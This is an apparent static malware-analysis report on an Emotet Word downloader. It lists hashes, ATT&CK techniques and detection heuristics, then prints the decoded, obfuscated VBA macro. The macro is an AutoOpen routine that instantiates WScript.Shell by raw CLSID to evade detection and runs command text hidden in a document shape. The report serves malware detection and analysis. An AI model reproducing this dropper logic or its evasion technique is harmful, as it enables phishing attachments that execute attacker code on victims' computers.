Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d40edfaead94f7a3…

MALICIOUS

Office (OLE)

131.0 KB Created: 2018-11-28 16:27:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 6777f97749cc535bd8b0da1d464ab6d4 SHA-1: 8d92f40307d195f6ded82a22369bd5cbb8fef4b8 SHA-256: d40edfaead94f7a35f4b442cf66e31f5501c8e93aa2aedabe3d7d2156af7f8ce
252 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32 T1059.001 PowerShell T1140 Deobfuscate or Obfuscate Malicious Code T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function, indicative of malicious intent. It leverages the dangerous WScript.Shell COM object to execute commands, likely for downloading and running a secondary payload. The ClamAV detection explicitly names Emotet, a known downloader family.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6826446-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826446-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
       End Select
Set lWpSaF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + MRCEVif + cfWwP + fCBpsz + nPYLbD)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
       End Select
Set lWpSaF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + MRCEVif + cfWwP + fCBpsz + nPYLbD)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5001 bytes
SHA-256: 91524fbfb3a552d96b10feec9f1abe40069d4b908c784baa9e8fd0e0a6770cd4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
112 of 173 identifiers look randomly generated (e.g. 'NhQLQfwlaBSJn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iHOBqSAldadB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case rssVuadT
      Case 7431461
         bcPiiiK = CBool(GnVMX)
         cRvtrcHL = 131039611
HudsIUj = CBool(OwOPq)

      Case 145014689
BzKzRTiVD = CBool(cfjcYRPIp)
         oFRvlHM = Atn(aaMbZupdz)
CGcYaz = CBool(pzhpfwHB)
         KwhOMKHju = Atn(190796375 * CLng(217435300))
   End Select
Set pmuUB = Shapes("NhQLQfwlaBSJn")
   On Error Resume Next
Select Case bGtwlAO
      Case 234272584
         lhAlL = CBool(kNliC)
         jobhj = 241503370
WYjvpCIBA = CBool(ZwnjvJjNM)

      Case 36830349
rKNWZVuRS = CBool(BPXMdF)
         LjCAjPLi = Atn(XlfrUX)
sfNTZQj = CBool(jijXjP)
         SEwCdCz = Atn(50389999 * CLng(309798784))
   End Select
WzKifFWORWi = "" + fhPmMvC + wJmaw + AjoBzA + tRtcuXS + pmuUB.TextFrame.TextRange.Text + pDSlHaO + GiEzIkt + jikIk + LNmKz + UbpTkTsw
   On Error Resume Next
Select Case rHYfT
      Case 283156215
         mTlapsdw = CBool(KazuGNRok)
         nCYvz = 268195053
EStiwcZo = CBool(widBQn)

      Case 149083892
CoLEvipj = CBool(KDkOXolGn)
         CONwYF = Atn(RnLisAfss)
diIoE = CBool(CSWEBYqru)
         cURpqnw = Atn(29794688 * CLng(83148233))
   End Select
   On Error Resume Next
Select Case tiWhQtm
      Case 116477639
         jIKwtM = CBool(BCtmQBzm)
         ClrtdmQh = 210593100
YHjzTfP = CBool(FTsaaEK)

      Case 136987834
wdNsijzOH = CBool(YltrcSUnc)
         FZHBWtT = Atn(bLmjJwUES)
qXiiMkrs = CBool(bPIFQh)
         kWWMVoQGm = Atn(317801614 * CLng(56140133))
   End Select
Set lWpSaF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + MRCEVif + cfWwP + fCBpsz + nPYLbD)
   On Error Resume Next
Select Case zNrwwL
      Case 68721804
         otcqjXQU = CBool(BWjFsCc)
         cTNEtvM = 151166701
XijmhD = CBool(dwwhnrN)

      Case 159090100
JZjJMFKP = CBool(TrwcuzP)
         PzhkkU = Atn(GbvEvl)
GpRkWfND = CBool(YTMNLd)
         BBRTb = Atn(87935855 * CLng(282064522))
   End Select
   On Error Resume Next
Select Case hpIwX
      Case 110413520
         pGmSwRUXM = CBool(NHfBvFU)
         TDjMDT = 6529678
MPllw = CBool(FftuXj)

      Case 263227701
AuFPMS = CBool(DmkohDN)
         dDTRvF = Atn(maiwC)
IAhnd = CBool(CpGoG)
         aIdAzPMr = Atn(101102913 * CLng(106969043))
   End Select
Const RmcCa = 0
   On Error Resume Next
Select Case pmaMFKnK
      Case 293360880
         jcDLa = CBool(HjiXiGm)
         ZMmTZDZz = 126278805
kSBEvQL = CBool(CzPLrC)

      Case 85041545
OcZUCiz = CBool(nsXUlociJ)
         bHXDkOM = Atn(EpSNUk)
wpzYw = CBool(CTJRDsq)
         NUhCRaF = Atn(22526869 * CLng(74229139))
   End Select
   On Error Resume Next
Select Case ZWprZjMP
      Case 211837363
         kAwHZJPD = CBool(WXsHuwKTz)
         YrRAahHlD = 193622773
GuMRjLSJk = CBool(uOIBI)

      Case 216439552
vsONPW = CBool(qSzYZ)
         YMatQd = Atn(qOmsJMki)
JzSAspK = CBool(jrYEaN)
         tkRkio = Atn(92914447 * CLng(244321475))
   End Select
   On Error Resume Next
Select Case RZbIIz
      Case 172545123
         fPdiTNI = CBool(UtuvVBKNz)
         BflPU = 213595769
siCSP = CBool(nrZPIL)

      Case 17009969
jwtYK = CBool(MuPONKBz)
         tPuwbaiGi = Atn(aGEvm)
CvzVi = CBool(rKuuwPnEE)
         qwjzNO = Atn(176355816 * CLng(228591513))
   End Select
   On Error Resume Next
Select Case NjfbdM
      Case 300889489
         dXqSa = CBool(wjpZYv)
         ETZALmtb = 221284423
jLzCYjLKa = CBool(HtVlFzA)

      Case 266104435
wAUuWI = CBool(FbRazf)
         fJHdMaAiP = Atn(UhKzouLlF)
lrLRat = CBool(iksza)
         zqbwWnO = Atn(102803920 * CLng(121113587))
   End Select
   On Error Resume Next
Select Case TASoZLpmA
      Case 259174217
         pOUcNrUa = CBool(VJBcfuAPt)
         bfNUjKiGF = 301322238
CokWtdL = CBool(OwuObVK)

      Case 336269912
JiKatELIc = CBool(kSflPjYSU)
         FlRplf = Atn(hRlwZKswa)
zJjZORjb = CBool(iNiiDC)
         ijXNVpOIi = Atn(284168830 * CLng(281235694))
   End Select
lWpSaF.Run# WzKifFWORWi, RmcCa
   On Error Resume Next
Select Case SwXPMw
      Case 264960689
         WvcDizt = CBool(cklritc)
         ialXMJWUH = 298761793
XZTvEiIl = CBool(dIwvdO)

      Case 311931377
sMmYUclm = CBool(QQNYI)
         pRWFJpjJW = Atn(QRWiq)
zNkbuHHDw = CBool(JuRsXnVM)
         dHJmw = Atn(79740558 * CLng(21389483))
   End Select
   On Error Resume Next
Select Case YOYjilLEj
      Case 107707173
         DYshJzQXc = CBool(oknNw)
         EjoWcuC = 301418533
QLCKdIVWT = CBool(juVTKCz)

      Case 131585393
jilSkLHU = CBool(uOIWwotmO)
         wATOTk = Atn(fiPdTf)
RJOisSz = CBool(oabFTMw)
         aYokVkQQ = Atn(121684110 * CLng(224527147))
   End Select
End Sub

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